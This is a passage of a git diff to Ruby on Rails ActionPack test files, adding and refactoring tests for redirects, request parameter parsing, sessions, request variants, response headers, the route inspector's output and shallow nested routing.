+    test "[ENGINE] absolute option root doesn't use SCRIPT_NAME from request" do
+      get "/absolute_option_root"
+      verify_redirect "http://example.org/"
     end
 
     test "[ENGINE] absolute option redirect doesn't use SCRIPT_NAME from request" do
       get "/absolute_option_redirect"
-      assert_equal 301, last_response.status
-      assert_equal "http://example.org/foo", last_response.headers["Location"]
-      assert_equal %(<html><body>You are being <a href="http://example.org/foo">redirected</a>.</body></html>), last_response.body
+      verify_redirect "http://example.org/foo"
+    end
+
+    test "[ENGINE] absolute custom root doesn't use SCRIPT_NAME from request" do
+      get "/absolute_custom_root"
+      verify_redirect "http://example.org/"
     end
 
     test "[ENGINE] absolute custom redirect doesn't use SCRIPT_NAME from request" do
       get "/absolute_custom_redirect"
-      assert_equal 301, last_response.status
-      assert_equal "http://example.org/foo", last_response.headers["Location"]
-      assert_equal %(<html><body>You are being <a href="http://example.org/foo">redirected</a>.</body></html>), last_response.body
-    end
+      verify_redirect "http://example.org/foo"
+    end
+    
+    private
+      def verify_redirect(url, status = 301)
+        assert_equal status, last_response.status
+        assert_equal url, last_response.headers["Location"]
+        assert_equal expected_redirect_body(url), last_response.body
+      end
+      
+      def expected_redirect_body(url)
+        %(<html><body>You are being <a href="#{url}">redirected</a>.</body></html>)
+      end
   end
 end
diff --git a/actionpack/test/dispatch/rack_test.rb b/actionpack/test/dispatch/rack_test.rb
index 6d239d0..ef1964f 100644
--- a/actionpack/test/dispatch/rack_test.rb
+++ b/actionpack/test/dispatch/rack_test.rb
@@ -119,7 +119,7 @@ class RackRequestTest < BaseRackTest
     assert_equal "[2001:1234:5678:9abc:def0::dead:beef]", @request.host
   end
 
-  test "cgi environment variables" do
+  test "CGI environment variables" do
     assert_equal "Basic", @request.auth_type
     assert_equal 0, @request.content_length
     assert_equal nil, @request.content_mime_type
@@ -174,22 +174,6 @@ class RackRequestParamsParsingTest < BaseRackTest
   end
 end
 
-class RackRequestContentTypeTest < BaseRackTest
-  test "html content type verification" do
-    assert_deprecated do
-      @request.env['CONTENT_TYPE'] = Mime::HTML.to_s
-      assert @request.content_mime_type.verify_request?
-    end
-  end
-
-  test "xml content type verification" do
-    assert_deprecated do
-      @request.env['CONTENT_TYPE'] = Mime::XML.to_s
-      assert !@request.content_mime_type.verify_request?
-    end
-  end
-end
-
 class RackRequestNeedsRewoundTest < BaseRackTest
   test "body should be rewound" do
     data = 'foo'
diff --git a/actionpack/test/dispatch/request/json_params_parsing_test.rb b/actionpack/test/dispatch/request/json_params_parsing_test.rb
index c9903ca..c609075 100644
--- a/actionpack/test/dispatch/request/json_params_parsing_test.rb
+++ b/actionpack/test/dispatch/request/json_params_parsing_test.rb
@@ -23,6 +23,13 @@ class JsonParamsParsingTest < ActionDispatch::IntegrationTest
     )
   end
 
+  test "parses boolean and number json params for application json" do
+    assert_parses(
+      {"item" => {"enabled" => false, "count" => 10}},
+      "{\"item\": {\"enabled\": false, \"count\": 10}}", { 'CONTENT_TYPE' => 'application/json' }
+    )
+  end
+
   test "parses json params for application jsonrequest" do
     assert_parses(
       {"person" => {"name" => "David"}},
@@ -62,7 +69,7 @@ class JsonParamsParsingTest < ActionDispatch::IntegrationTest
         $stderr = StringIO.new # suppress the log
         json = "[\"person]\": {\"name\": \"David\"}}"
         exception = assert_raise(ActionDispatch::ParamsParser::ParseError) { post "/parse", json, {'CONTENT_TYPE' => 'application/json', 'action_dispatch.show_exceptions' => false} }
-        assert_equal MultiJson::DecodeError, exception.original_exception.class
+        assert_equal JSON::ParserError, exception.original_exception.class
         assert_equal exception.original_exception.message, exception.message
       ensure
         $stderr = STDERR
diff --git a/actionpack/test/dispatch/request/multipart_params_parsing_test.rb b/actionpack/test/dispatch/request/multipart_params_parsing_test.rb
index 3c30a70..2a2f92b 100644
--- a/actionpack/test/dispatch/request/multipart_params_parsing_test.rb
+++ b/actionpack/test/dispatch/request/multipart_params_parsing_test.rb
@@ -108,8 +108,7 @@ class MultipartParamsParsingTest < ActionDispatch::IntegrationTest
 
     # Rack doesn't handle multipart/mixed for us.
     files = params['files']
-    files.force_encoding('ASCII-8BIT')
-    assert_equal 19756, files.size
+    assert_equal 19756, files.bytesize
   end
 
   test "does not create tempfile if no file has been selected" do
diff --git a/actionpack/test/dispatch/request/query_string_parsing_test.rb b/actionpack/test/dispatch/request/query_string_parsing_test.rb
index 0ad0dbc..d824931 100644
--- a/actionpack/test/dispatch/request/query_string_parsing_test.rb
+++ b/actionpack/test/dispatch/request/query_string_parsing_test.rb
@@ -104,6 +104,21 @@ class QueryStringParsingTest < ActionDispatch::IntegrationTest
     assert_parses({"action" => ['1']}, "action[]=1&action[]")
   end
 
+  test "perform_deep_munge" do
+    ActionDispatch::Request::Utils.perform_deep_munge = false
+    begin
+      assert_parses({"action" => nil}, "action")
+      assert_parses({"action" => {"foo" => nil}}, "action[foo]")
+      assert_parses({"action" => {"foo" => {"bar" => nil}}}, "action[foo][bar]")
+      assert_parses({"action" => {"foo" => {"bar" => [nil]}}}, "action[foo][bar][]")
+      assert_parses({"action" => {"foo" => [nil]}}, "action[foo][]")
+      assert_parses({"action" => {"foo" => [{"bar" => nil}]}}, "action[foo][][bar]")
+      assert_parses({"action" => ['1',nil]}, "action[]=1&action[]")
+    ensure
+      ActionDispatch::Request::Utils.perform_deep_munge = true
+    end
+  end
+
   test "query string with empty key" do
     assert_parses(
       { "action" => "create_customer", "full_name" => "David Heinemeier Hansson" },
diff --git a/actionpack/test/dispatch/request/session_test.rb b/actionpack/test/dispatch/request/session_test.rb
index 1517f96..df55fcc 100644
--- a/actionpack/test/dispatch/request/session_test.rb
+++ b/actionpack/test/dispatch/request/session_test.rb
@@ -61,6 +61,22 @@ module ActionDispatch
         assert_equal([], s.values)
       end
 
+      def test_fetch
+        session = Session.create(store, {}, {})
+
+        session['one'] = '1'
+        assert_equal '1', session.fetch(:one)
+
+        assert_equal '2', session.fetch(:two, '2')
+        assert_nil session.fetch(:two, nil)
+
+        assert_equal 'three', session.fetch(:three) {|el| el.to_s }
+
+        assert_raise KeyError do
+          session.fetch(:three)
+        end
+      end
+
       private
       def store
         Class.new {
diff --git a/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb b/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb
index 9169658..9a77454 100644
--- a/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb
+++ b/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb
@@ -17,10 +17,9 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
   end
 
   test "parses unbalanced query string with array" do
-    assert_parses(
-       {'location' => ["1", "2"], 'age_group' => ["2"]},
-      "location[]=1&location[]=2&age_group[]=2"
-    )
+    query    = "location[]=1&location[]=2&age_group[]=2"
+    expected = { 'location' => ["1", "2"], 'age_group' => ["2"] }
+    assert_parses expected, query
   end
 
   test "parses nested hash" do
@@ -30,9 +29,17 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
       "note[viewers][viewer][][type]=Group",
       "note[viewers][viewer][][id]=2"
     ].join("&")
-
-    expected = { "note" => { "viewers"=>{"viewer"=>[{ "id"=>"1", "type"=>"User"}, {"type"=>"Group", "id"=>"2"} ]} } }
-    assert_parses(expected, query)
+    expected = {
+      "note" => {
+        "viewers" => {
+          "viewer" => [
+            { "id" => "1", "type" => "User" },
+            { "type" => "Group", "id" => "2" }
+          ]
+        }
+      }
+    }
+    assert_parses expected, query
   end
 
   test "parses more complex nesting" do
@@ -48,7 +55,6 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
       "products[second]=Pc",
       "=Save"
     ].join("&")
-
     expected =  {
       "customers" => {
         "boston" => {
@@ -70,13 +76,12 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
         "second" => "Pc"
       }
     }
-
     assert_parses expected, query
   end
 
   test "parses params with array" do
-    query = "selected[]=1&selected[]=2&selected[]=3"
-    expected = { "selected" => [ "1", "2", "3" ] }
+    query    = "selected[]=1&selected[]=2&selected[]=3"
+    expected = { "selected" => ["1", "2", "3"] }
     assert_parses expected, query
   end
 
@@ -88,13 +93,13 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
 
   test "parses params with array prefix and hashes" do
     query    = "a[][b][c]=d"
-    expected = {"a" => [{"b" => {"c" => "d"}}]}
+    expected = { "a" => [{ "b" => { "c" => "d" } }] }
     assert_parses expected, query
   end
 
   test "parses params with complex nesting" do
     query    = "a[][b][c][][d][]=e"
-    expected = {"a" => [{"b" => {"c" => [{"d" => ["e"]}]}}]}
+    expected = { "a" => [{ "b" => { "c" => [{ "d" => ["e"] }] } }] }
     assert_parses expected, query
   end
 
@@ -104,7 +109,6 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
       "something_else=blah",
       "logo=#{File.expand_path(__FILE__)}"
     ].join("&")
-
     expected = {
       "customers" => {
         "boston" => {
@@ -116,22 +120,20 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
       "something_else" => "blah",
       "logo" => File.expand_path(__FILE__),
     }
-
     assert_parses expected, query
   end
 
   test "parses params with Safari 2 trailing null character" do
-    query = "selected[]=1&selected[]=2&selected[]=3\0"
-    expected = { "selected" => [ "1", "2", "3" ] }
+    query    = "selected[]=1&selected[]=2&selected[]=3\0"
+    expected = { "selected" => ["1", "2", "3"] }
     assert_parses expected, query
   end
 
   test "ambiguous params returns a bad request" do
     with_routing do |set|
       set.draw do
-        post ':action', :to => ::UrlEncodedParamsParsingTest::TestController
+        post ':action', to: ::UrlEncodedParamsParsingTest::TestController
       end
-
       post "/parse", "foo[]=bar&foo[4]=bar"
       assert_response :bad_request
     end
@@ -141,7 +143,7 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
     def with_test_routing
       with_routing do |set|
         set.draw do
-          post ':action', :to => ::UrlEncodedParamsParsingTest::TestController
+          post ':action', to: ::UrlEncodedParamsParsingTest::TestController
         end
         yield
       end
@@ -151,8 +153,8 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
       with_test_routing do
         post "/parse", actual
         assert_response :ok
-        assert_equal(expected, TestController.last_request_parameters)
-        assert_utf8(TestController.last_request_parameters)
+        assert_equal expected, TestController.last_request_parameters
+        assert_utf8 TestController.last_request_parameters
       end
     end
 
@@ -167,11 +169,11 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
       object.each_value do |v|
         case v
         when Hash
-          assert_utf8(v)
+          assert_utf8 v
         when Array
-          v.each {|el| assert_utf8(el) }
+          v.each { |el| assert_utf8 el }
         else
-          assert_utf8(v)
+          assert_utf8 v
         end
       end
     end
diff --git a/actionpack/test/dispatch/request_test.rb b/actionpack/test/dispatch/request_test.rb
index f6de974..40e32cb 100644
--- a/actionpack/test/dispatch/request_test.rb
+++ b/actionpack/test/dispatch/request_test.rb
@@ -93,6 +93,14 @@ class RequestTest < ActiveSupport::TestCase
     assert_equal '1.1.1.1', request.remote_ip
   end
 
+  test "remote ip spoof protection ignores private addresses" do
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => '172.17.19.51',
+                           'HTTP_CLIENT_IP'       => '172.17.19.51',
+                           'REMOTE_ADDR'          => '1.1.1.1',
+                           'HTTP_X_BLUECOAT_VIA'  => 'de462e07a2db325e'
+    assert_equal '1.1.1.1', request.remote_ip
+  end
+
   test "remote ip v6" do
     request = stub_request 'REMOTE_ADDR' => '2001:0db8:85a3:0000:0000:8a2e:0370:7334'
     assert_equal '2001:0db8:85a3:0000:0000:8a2e:0370:7334', request.remote_ip
@@ -598,7 +606,7 @@ class RequestTest < ActiveSupport::TestCase
                            'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest"
     request.expects(:parameters).at_least_once.returns({})
     assert_equal [Mime::JS], request.formats
-    
+
     request = stub_request 'CONTENT_TYPE' => 'application/xml; charset=UTF-8',
                            'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest"
     request.expects(:parameters).at_least_once.returns({})
@@ -616,10 +624,10 @@ class RequestTest < ActiveSupport::TestCase
   test "format is not nil with unknown format" do
     request = stub_request
     request.expects(:parameters).at_least_once.returns({ format: :hello })
-    assert_equal request.format.nil?, true
-    assert_equal request.format.html?, false
-    assert_equal request.format.xml?, false
-    assert_equal request.format.json?, false
+    assert request.format.nil?
+    assert_not request.format.html?
+    assert_not request.format.xml?
+    assert_not request.format.json?
   end
 
   test "formats with xhr request" do
@@ -836,6 +844,31 @@ class RequestTest < ActiveSupport::TestCase
     end
   end
 
+  test "setting variant" do
+    request = stub_request
+
+    request.variant = :mobile
+    assert_equal [:mobile], request.variant
+
+    request.variant = [:phone, :tablet]
+    assert_equal [:phone, :tablet], request.variant
+
+    assert_raise ArgumentError do
+      request.variant = [:phone, "tablet"]
+    end
+
+    assert_raise ArgumentError do
+      request.variant = "yolo"
+    end
+  end
+
+  test "setting variant with non symbol value" do
+    request = stub_request
+    assert_raise ArgumentError do
+      request.variant = "mobile"
+    end
+  end
+
 protected
 
   def stub_request(env = {})
diff --git a/actionpack/test/dispatch/response_test.rb b/actionpack/test/dispatch/response_test.rb
index 74f5253..959a3bc 100644
--- a/actionpack/test/dispatch/response_test.rb
+++ b/actionpack/test/dispatch/response_test.rb
@@ -182,8 +182,7 @@ class ResponseTest < ActiveSupport::TestCase
       ActionDispatch::Response.default_headers = {
         'X-Frame-Options' => 'DENY',
         'X-Content-Type-Options' => 'nosniff',
-        'X-XSS-Protection' => '1;',
-        'X-UA-Compatible' => 'chrome=1'
+        'X-XSS-Protection' => '1;'
       }
       resp = ActionDispatch::Response.new.tap { |response|
         response.body = 'Hello'
@@ -193,7 +192,6 @@ class ResponseTest < ActiveSupport::TestCase
       assert_equal('DENY', resp.headers['X-Frame-Options'])
       assert_equal('nosniff', resp.headers['X-Content-Type-Options'])
       assert_equal('1;', resp.headers['X-XSS-Protection'])
-      assert_equal('chrome=1', resp.headers['X-UA-Compatible'])
     ensure
       ActionDispatch::Response.default_headers = nil
     end
@@ -214,6 +212,29 @@ class ResponseTest < ActiveSupport::TestCase
       ActionDispatch::Response.default_headers = nil
     end
   end
+
+  test "respond_to? accepts include_private" do
+    assert_not @response.respond_to?(:method_missing)
+    assert @response.respond_to?(:method_missing, true)
+  end
+
+  test "can be destructured into status, headers and an enumerable body" do
+    response = ActionDispatch::Response.new(404, { 'Content-Type' => 'text/plain' }, ['Not Found'])
+    status, headers, body = response
+
+    assert_equal 404, status
+    assert_equal({ 'Content-Type' => 'text/plain' }, headers)
+    assert_equal ['Not Found'], body.each.to_a
+  end
+
+  test "[response].flatten does not recurse infinitely" do
+    Timeout.timeout(1) do # use a timeout to prevent it stalling indefinitely
+      status, headers, body = [@response].flatten
+      assert_equal @response.status, status
+      assert_equal @response.headers, headers
+      assert_equal @response.body, body.each.to_a.join
+    end
+  end
 end
 
 class ResponseIntegrationTest < ActionDispatch::IntegrationTest
diff --git a/actionpack/test/dispatch/routing/inspector_test.rb b/actionpack/test/dispatch/routing/inspector_test.rb
index 4f97d28..ff33dd5 100644
--- a/actionpack/test/dispatch/routing/inspector_test.rb
+++ b/actionpack/test/dispatch/routing/inspector_test.rb
@@ -46,11 +46,32 @@ module ActionDispatch
 
         assert_equal [
           "       Prefix Verb URI Pattern              Controller#Action",
-          "custom_assets GET /custom/assets(.:format) custom_assets#show",
-          "         blog     /blog                    Blog::Engine",
+          "custom_assets GET  /custom/assets(.:format) custom_assets#show",
+          "         blog      /blog                    Blog::Engine",
           "",
           "Routes for Blog::Engine:",
-          "cart GET /cart(.:format) cart#show"
+          "  cart GET  /cart(.:format) cart#show"
+        ], output
+      end
+
+      def test_displaying_routes_for_engines_without_routes
+        engine = Class.new(Rails::Engine) do
+          def self.inspect
+            "Blog::Engine"
+          end
+        end
+        engine.routes.draw do
+        end
+
+        output = draw do
+          mount engine => "/blog", as: "blog"
+        end
+
+        assert_equal [
+          "Prefix Verb URI Pattern Controller#Action",
+          "  blog      /blog       Blog::Engine",
+          "",
+          "Routes for Blog::Engine:"
         ], output
       end
 
@@ -61,7 +82,7 @@ module ActionDispatch
 
         assert_equal [
           "Prefix Verb URI Pattern     Controller#Action",
-          "cart GET /cart(.:format) cart#show"
+          "  cart GET  /cart(.:format) cart#show"
         ], output
       end
 
@@ -72,7 +93,7 @@ module ActionDispatch
 
         assert_equal [
           "       Prefix Verb URI Pattern              Controller#Action",
-          "custom_assets GET /custom/assets(.:format) custom_assets#show"
+          "custom_assets GET  /custom/assets(.:format) custom_assets#show"
         ], output
       end
 
@@ -101,7 +122,7 @@ module ActionDispatch
 
         assert_equal [
           "Prefix Verb URI Pattern Controller#Action",
-          "root GET / pages#main"
+          "  root GET  /           pages#main"
         ], output
       end
 
@@ -112,7 +133,7 @@ module ActionDispatch
 
         assert_equal [
           "Prefix Verb URI Pattern            Controller#Action",
-          " GET /api/:action(.:format) api#:action"
+          "       GET  /api/:action(.:format) api#:action"
         ], output
       end
 
@@ -123,7 +144,7 @@ module ActionDispatch
 
         assert_equal [
           "Prefix Verb URI Pattern                    Controller#Action",
-          " GET /:controller/:action(.:format) :controller#:action"
+          "       GET  /:controller/:action(.:format) :controller#:action"
         ], output
       end
 
@@ -134,7 +155,7 @@ module ActionDispatch
 
         assert_equal [
           "Prefix Verb URI Pattern                            Controller#Action",
-          " GET /:controller(/:action(/:id))(.:format) :controller#:action {:id=>/\\d+/}"
+          "       GET  /:controller(/:action(/:id))(.:format) :controller#:action {:id=>/\\d+/}"
         ], output
       end
 
@@ -145,7 +166,7 @@ module ActionDispatch
 
         assert_equal [
           "Prefix Verb URI Pattern           Controller#Action",
-          %Q[ GET /photos/:id(.:format) photos#show {:format=>"jpg"}]
+          %Q[       GET  /photos/:id(.:format) photos#show {:format=>"jpg"}]
         ], output
       end
 
@@ -156,7 +177,30 @@ module ActionDispatch
 
         assert_equal [
           "Prefix Verb URI Pattern           Controller#Action",
-          " GET /photos/:id(.:format) photos#show {:id=>/[A-Z]\\d{5}/}"
+          "       GET  /photos/:id(.:format) photos#show {:id=>/[A-Z]\\d{5}/}"
+        ], output
+      end
+
+      def test_rake_routes_shows_routes_with_dashes
+        output = draw do
+          get 'about-us' => 'pages#about_us'
+          get 'our-work/latest'
+
+          resources :photos, only: [:show] do
+            get 'user-favorites', on: :collection
+            get 'preview-photo', on: :member
+            get 'summary-text'
+          end
+        end
+
+        assert_equal [
+          "               Prefix Verb URI Pattern                              Controller#Action",
+          "             about_us GET  /about-us(.:format)                      pages#about_us",
+          "      our_work_latest GET  /our-work/latest(.:format)               our_work#latest",
+          "user_favorites_photos GET  /photos/user-favorites(.:format)         photos#user_favorites",
+          "  preview_photo_photo GET  /photos/:id/preview-photo(.:format)      photos#preview_photo",
+          "   photo_summary_text GET  /photos/:photo_id/summary-text(.:format) photos#summary_text",
+          "                photo GET  /photos/:id(.:format)                    photos#show"
         ], output
       end
 
@@ -172,7 +216,7 @@ module ActionDispatch
 
         assert_equal [
           "Prefix Verb URI Pattern        Controller#Action",
-          " GET /foo/:id(.:format) #{RackApp.name} {:id=>/[A-Z]\\d{5}/}"
+          "       GET  /foo/:id(.:format) #{RackApp.name} {:id=>/[A-Z]\\d{5}/}"
         ], output
       end
 
@@ -191,7 +235,7 @@ module ActionDispatch
 
         assert_equal [
           "Prefix Verb URI Pattern Controller#Action",
-          "  /foo #{RackApp.name} {:constraint=>( my custom constraint )}"
+          "            /foo        #{RackApp.name} {:constraint=>( my custom constraint )}"
         ], output
       end
 
@@ -203,6 +247,18 @@ module ActionDispatch
         assert_no_match(/\/sprockets/, output.first)
       end
 
+      def test_rake_routes_shows_route_defined_in_under_assets_prefix
+        output = draw do
+          scope '/sprockets' do
+            get '/foo' => 'foo#bar'
+          end
+        end
+        assert_equal [
+          "Prefix Verb URI Pattern              Controller#Action",
+          "   foo GET  /sprockets/foo(.:format) foo#bar"
+        ], output
+      end
+
       def test_redirect
         output = draw do
           get "/foo"    => redirect("/foo/bar"), :constraints => { :subdomain => "admin" }
@@ -212,9 +268,9 @@ module ActionDispatch
 
         assert_equal [
           "Prefix Verb URI Pattern       Controller#Action",
-          "   foo GET /foo(.:format)    redirect(301, /foo/bar) {:subdomain=>\"admin\"}",
-          "   bar GET /bar(.:format)    redirect(307, path: /foo/bar)",
-          "foobar GET /foobar(.:format) redirect(301)"
+          "   foo GET  /foo(.:format)    redirect(301, /foo/bar) {:subdomain=>\"admin\"}",
+          "   bar GET  /bar(.:format)    redirect(307, path: /foo/bar)",
+          "foobar GET  /foobar(.:format) redirect(301)"
         ], output
       end
 
@@ -241,7 +297,7 @@ module ActionDispatch
         end
 
         assert_equal ["Prefix Verb URI Pattern            Controller#Action",
-                      " GET /:controller(/:action) (?-mix:api\\/[^\\/]+)#:action"], output
+                      "       GET  /:controller(/:action) (?-mix:api\\/[^\\/]+)#:action"], output
       end
     end
   end
diff --git a/actionpack/test/dispatch/routing_test.rb b/actionpack/test/dispatch/routing_test.rb
index e4c3ddd..b22a56b 100644
--- a/actionpack/test/dispatch/routing_test.rb
+++ b/actionpack/test/dispatch/routing_test.rb
@@ -1031,6 +1031,136 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
     assert_equal 'users/home#index', @response.body
   end
 
+  def test_namespaced_shallow_routes_with_module_option
+    draw do
+      namespace :foo, module: 'bar' do
+        resources :posts, only: [:index, :show] do
+          resources :comments, only: [:index, :show], shallow: true
+        end
+      end
+    end
+
+    get '/foo/posts'
+    assert_equal '/foo/posts', foo_posts_path
+    assert_equal 'bar/posts#index', @response.body
+
+    get '/foo/posts/1'
+    assert_equal '/foo/posts/1', foo_post_path('1')
+    assert_equal 'bar/posts#show', @response.body
+
+    get '/foo/posts/1/comments'
+    assert_equal '/foo/posts/1/comments', foo_post_comments_path('1')
+    assert_equal 'bar/comments#index', @response.body
+
+    get '/foo/comments/2'
+    assert_equal '/foo/comments/2', foo_comment_path('2')
+    assert_equal 'bar/comments#show', @response.body
+  end
+
+  def test_namespaced_shallow_routes_with_path_option
+    draw do
+      namespace :foo, path: 'bar' do
+        resources :posts, only: [:index, :show] do
+          resources :comments, only: [:index, :show], shallow: true
+        end
+      end
+    end
+
+    get '/bar/posts'
+    assert_equal '/bar/posts', foo_posts_path
+    assert_equal 'foo/posts#index', @response.body
+
+    get '/bar/posts/1'
+    assert_equal '/bar/posts/1', foo_post_path('1')
+    assert_equal 'foo/posts#show', @response.body
+
+    get '/bar/posts/1/comments'
+    assert_equal '/bar/posts/1/comments', foo_post_comments_path('1')
+    assert_equal 'foo/comments#index', @response.body
+
+    get '/bar/comments/2'
+    assert_equal '/bar/comments/2', foo_comment_path('2')
+    assert_equal 'foo/comments#show', @response.body
+  end
+
+  def test_namespaced_shallow_routes_with_as_option
+    draw do
+      namespace :foo, as: 'bar' do
+        resources :posts, only: [:index, :show] do
+          resources :comments, only: [:index, :show], shallow: true
+        end
+      end
+    end
+
+    get '/foo/posts'
+    assert_equal '/foo/posts', bar_posts_path
+    assert_equal 'foo/posts#index', @response.body
+
+    get '/foo/posts/1'
+    assert_equal '/foo/posts/1', bar_post_path('1')
+    assert_equal 'foo/posts#show', @response.body
+
+    get '/foo/posts/1/comments'
+    assert_equal '/foo/posts/1/comments', bar_post_comments_path('1')
+    assert_equal 'foo/comments#index', @response.body
+
+    get '/foo/comments/2'
+    assert_equal '/foo/comments/2', bar_comment_path('2')
+    assert_equal 'foo/comments#show', @response.body
+  end
+
+  def test_namespaced_shallow_routes_with_shallow_path_option
+    draw do
+      namespace :foo, shallow_path: 'bar' do
+        resources :posts, only: [:index, :show] do
+          resources :comments, only: [:index, :show], shallow: true
+        end
+      end
+    end
+
+    get '/foo/posts'
+    assert_equal '/foo/posts', foo_posts_path
+    assert_equal 'foo/posts#index', @response.body
+
+    get '/foo/posts/1'
+    assert_equal '/foo/posts/1', foo_post_path('1')
+    assert_equal 'foo/posts#show', @response.body
+
+    get '/foo/posts/1/comments'
+    assert_equal '/foo/posts/1/comments', foo_post_comments_path('1')
+    assert_equal 'foo/comments#index', @response.body
+
+    get '/bar/comments/2'
+    assert_equal '/bar/comments/2', foo_comment_path('2')
+    assert_equal 'foo/comments#show', @response.body
+  end
+
+  def test_namespaced_shallow_routes_with_shallow_prefix_option
+    draw do
+      namespace :foo, shallow_prefix: 'bar' do
+        resources :posts, only: [:index, :show] do
+          resources :comments, only: [:index, :show], shallow: true
+        end
+      end
+    end
+
+    get '/foo/posts'
+    assert_equal '/foo/posts', foo_posts_path
+    assert_equal 'foo/posts#index', @response.body
+
+    get '/foo/posts/1'
+    assert_equal '/foo/posts/1', foo_post_path('1')
+    assert_equal 'foo/posts#show', @response.body
+
+    get '/foo/posts/1/comments'
+    assert_equal '/foo/posts/1/comments', foo_post_comments_path('1')
+    assert_equal 'foo/comments#index', @response.body
+
+    get '/foo/comments/2'
+    assert_equal '/foo/comments/2', bar_comment_path('2')
+    assert_equal 'foo/comments#show', @response.body
+  end
+
   def test_namespace_containing_numbers
     draw do
       namespace :v2 do
@@ -1102,6 +1232,19 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
     assert_equal 'projects#index', @response.body
   end
 
+  def test_scoped_root_as_name
+    draw do
+      scope '(:locale)', :locale => /en|pl/ do
+        root :to => 'projects#index', :as => 'projects'
+      end
+    end
+
+    assert_equal '/en', projects_path(:locale => 'en')
+    assert_equal '/', projects_path
+    get '/en'
+    assert_equal 'projects#index', @response.body
+  end
+
   def test_scope_with_format_option
     draw do
       get "direct/index", as: :no_format_direct, format: false
@@ -1815,6 +1958,60 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
     assert_equal '/comments/3/preview', preview_comment_path(:id => '3')
   end
 
+  def test_shallow_nested_resources_inside_resource
+    draw do
+      resource :membership, shallow: true do
+        resources :cards
+      end
+    end
+
+    get '/membership/cards'
+    assert_equal 'cards#index', @response.body
+    assert_equal '/membership/cards', membership_cards_path
+
+    get '/membership/cards/new'
+    assert_equal 'cards#new', @response.body
+    assert_equal '/membership/cards/new', new_membership_card_path
+
+    post '/membership/cards'
+    assert_equal 'cards#create', @response.body
+
+    get '/cards/1'
+    assert_equal 'cards#show', @response.body
+    assert_equal '/cards/1', card_path('1')
+
+    get '/cards/1/edit'
+    assert_equal 'cards#edit', @response.body
+    assert_equal '/cards/1/edit', edit_card_path('1')
+
+    put '/cards/1'
+    assert_equal 'cards#update', @response.body
+
+    patch '/cards/1'
+    assert_equal 'cards#update', @response.body
+
+    delete '/cards/1'
+    assert_equal 'cards#destroy', @response.body
+  end
+
+  def test_shallow_deeply_nested_resources
+    draw do
+      resources :blogs do
+        resources :posts do
+          resources :comments, shallow: true
+        end
+      end
+    end
+
+    get '/comments/1'
+    assert_equal 'comments#show', @response.body
+
+    assert_equal '/comments/1', comment_path('1')
+    assert_equal '/blogs/new', new_blog_path
+    assert_equal '/blogs/1/posts/new', new_blog_post_path(:blog_id => 1)
+    assert_equal '/blogs/1/posts/2/comments/new', new_blog_post_comment_path(:blog_id => 1, :post_id => 2)
+  end
+
   def test_shallow_nested_resources_within_scope
     draw do
       scope '/hello' do
@@ -1876,6 +2073,65 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
     assert_equal 'notes#destroy', @response.body
   end
 
+  def test_shallow_option_nested_resources_within_scope
+    draw do
+      scope '/hello' do
+        resources :notes, :shallow => true do
+          resources :trackbacks
+        end
+      end
+    end
+
+    get '/hello/notes/1/trackbacks'
+    assert_equal 'trackbacks#index', @response.body
+    assert_equal '/hello/notes/1/trackbacks', note_trackbacks_path(:note_id => 1)
+
+    get '/hello/notes/1/edit'
+    assert_equal 'notes#edit', @response.body
+    assert_equal '/hello/notes/1/edit', edit_note_path(:id => '1')
+
+    get '/hello/notes/1/trackbacks/new'
+    assert_equal 'trackbacks#new', @response.body
+    assert_equal '/hello/notes/1/trackbacks/new', new_note_trackback_path(:note_id => 1)
+
+    get '/hello/trackbacks/1'
+    assert_equal 'trackbacks#show', @response.body
+    assert_equal '/hello/trackbacks/1', trackback_path(:id => '1')
+
+    get '/hello/trackbacks/1/edit'
+    assert_equal 'trackbacks#edit', @response.body
+    assert_equal '/hello/trackbacks/1/edit', edit_trackback_path(:id => '1')
+
+    put '/hello/trackbacks/1'
+    assert_equal 'trackbacks#update', @response.body
+
+    post '/hello/notes/1/trackbacks'
+    assert_equal 'trackbacks#create', @response.body
+
+    delete '/hello/trackbacks/1'
+    assert_equal 'trackbacks#destroy', @response.body
+
+    get '/hello/notes'
+    assert_equal 'notes#index', @response.body
+
+    post '/hello/notes'
+    assert_equal 'notes#create', @response.body
+
+    get '/hello/notes/new'
+    assert_equal 'notes#new', @response.body
+    assert_equal '/hello/notes/new', new_note_path
+
+    get '/hello/notes/1'
+    assert_equal 'notes#show', @response.body
+    assert_equal '/hello/notes/1', note_path(:id => 1)
+
+    put '/hello/notes/1'
+    assert_equal 'notes#update', @response.body
+
+    delete '/hello/notes/1'
+    assert_equal 'notes#destroy', @response.body
+  end
+
   def test_custom_resource_routes_are_scoped
     draw do
       resources :customers do
@@ -2851,6 +3107,224 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
     assert !@request.params[:action].frozen?
   end
 
+  def test_multiple_positional_args_with_the_same_name
+    draw do
+      get '/downloads/:id/:id.tar' => 'downloads#show', as: :download, format: false
+    end
+
+    expected_params = {
+      controller: 'downloads',
+      action:     'show',
+      id:         '1'
+    }
+
+    get '/downloads/1/1.tar'
+    assert_equal 'downloads#show', @response.body
+    assert_equal expected_params, @request.symbolized_path_parameters
+    assert_equal '/downloads/1/1.tar', download_path('1')
+    assert_equal '/downloads/1/1.tar', download_path('1', '1')
+  end
+
+  def test_absolute_controller_namespace
+    draw do
+      namespace :foo do
